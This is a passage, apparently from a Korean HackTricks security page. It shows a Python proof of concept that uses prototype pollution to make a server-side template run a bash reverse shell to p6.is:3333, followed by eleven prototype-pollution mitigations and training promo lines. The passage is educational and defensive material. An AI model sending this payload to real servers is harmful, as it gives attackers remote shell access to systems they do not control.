requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

์˜ˆ๋ฐฉ ์กฐ์น˜

ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ์˜ ์œ„ํ—˜์„ ์ค„์ด๊ธฐ ์œ„ํ•ด ์•„๋ž˜์— ๋‚˜์—ด๋œ ์ „๋žต์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  1. ๊ฐ์ฒด ๋ถˆ๋ณ€์„ฑ: Object.prototype์€ Object.freeze๋ฅผ ์ ์šฉํ•˜์—ฌ ๋ถˆ๋ณ€์œผ๋กœ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  2. ์ž…๋ ฅ ๊ฒ€์ฆ: JSON ์ž…๋ ฅ์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์Šคํ‚ค๋งˆ์— ๋Œ€ํ•ด ์ฒ ์ €ํžˆ ๊ฒ€์ฆํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  3. ์•ˆ์ „ํ•œ ๋ณ‘ํ•ฉ ํ•จ์ˆ˜: ์žฌ๊ท€ ๋ณ‘ํ•ฉ ํ•จ์ˆ˜์˜ ์•ˆ์ „ํ•˜์ง€ ์•Š์€ ์‚ฌ์šฉ์€ ํ”ผํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  4. ํ”„๋กœํ† ํƒ€์ž… ์—†๋Š” ๊ฐ์ฒด: ํ”„๋กœํ† ํƒ€์ž… ์†์„ฑ์ด ์—†๋Š” ๊ฐ์ฒด๋Š” Object.create(null)์„ ์‚ฌ์šฉํ•˜์—ฌ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  5. Map ์‚ฌ์šฉ: ํ‚ค-๊ฐ’ ์Œ์„ ์ €์žฅํ•  ๋•Œ Object ๋Œ€์‹  Map์„ ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  6. ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์—…๋ฐ์ดํŠธ: ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์ •๊ธฐ์ ์œผ๋กœ ์—…๋ฐ์ดํŠธํ•˜์—ฌ ๋ณด์•ˆ ํŒจ์น˜๋ฅผ ํ†ตํ•ฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  7. ๋ฆฐํ„ฐ ๋ฐ ์ •์  ๋ถ„์„ ๋„๊ตฌ: ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ ์ทจ์•ฝ์ ์„ ๊ฐ์ง€ํ•˜๊ณ  ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ์ ์ ˆํ•œ ํ”Œ๋Ÿฌ๊ทธ์ธ์ด ํฌํ•จ๋œ ESLint์™€ ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.
  8. ์ฝ”๋“œ ๋ฆฌ๋ทฐ: ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ๊ณผ ๊ด€๋ จ๋œ ์ž ์žฌ์  ์œ„ํ—˜์„ ์‹๋ณ„ํ•˜๊ณ  ์ˆ˜์ •ํ•˜๊ธฐ ์œ„ํ•ด ์ฒ ์ €ํ•œ ์ฝ”๋“œ ๋ฆฌ๋ทฐ๋ฅผ ๊ตฌํ˜„ํ•˜์„ธ์š”.
  9. ๋ณด์•ˆ ๊ต์œก: ๊ฐœ๋ฐœ์ž์—๊ฒŒ ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ์˜ ์œ„ํ—˜๊ณผ ์•ˆ์ „ํ•œ ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜๊ธฐ ์œ„ํ•œ ๋ชจ๋ฒ” ์‚ฌ๋ก€์— ๋Œ€ํ•ด ๊ต์œกํ•˜์„ธ์š”.
  10. ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์‚ฌ์šฉ ์‹œ ์ฃผ์˜: ์„œ๋“œํŒŒํ‹ฐ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•  ๋•Œ ์ฃผ์˜ํ•˜์„ธ์š”. ๊ทธ๋“ค์˜ ๋ณด์•ˆ ์ƒํƒœ๋ฅผ ํ‰๊ฐ€ํ•˜๊ณ , ํŠนํžˆ ๊ฐ์ฒด๋ฅผ ์กฐ์ž‘ํ•˜๋Š” ์ฝ”๋“œ์— ๋Œ€ํ•ด ๊ฒ€ํ† ํ•˜์„ธ์š”.
  11. ๋Ÿฐํƒ€์ž„ ๋ณดํ˜ธ: ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ ๊ณต๊ฒฉ์„ ๊ฐ์ง€ํ•˜๊ณ  ๋ฐฉ์ง€ํ•  ์ˆ˜ ์žˆ๋Š” ๋ณด์•ˆ ์ค‘์‹ฌ์˜ npm ํŒจํ‚ค์ง€๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๋“ฑ์˜ ๋Ÿฐํƒ€์ž„ ๋ณดํ˜ธ ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ์‚ฌ์šฉํ•˜์„ธ์š”.

์ฐธ๊ณ  ๋ฌธํ—Œ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ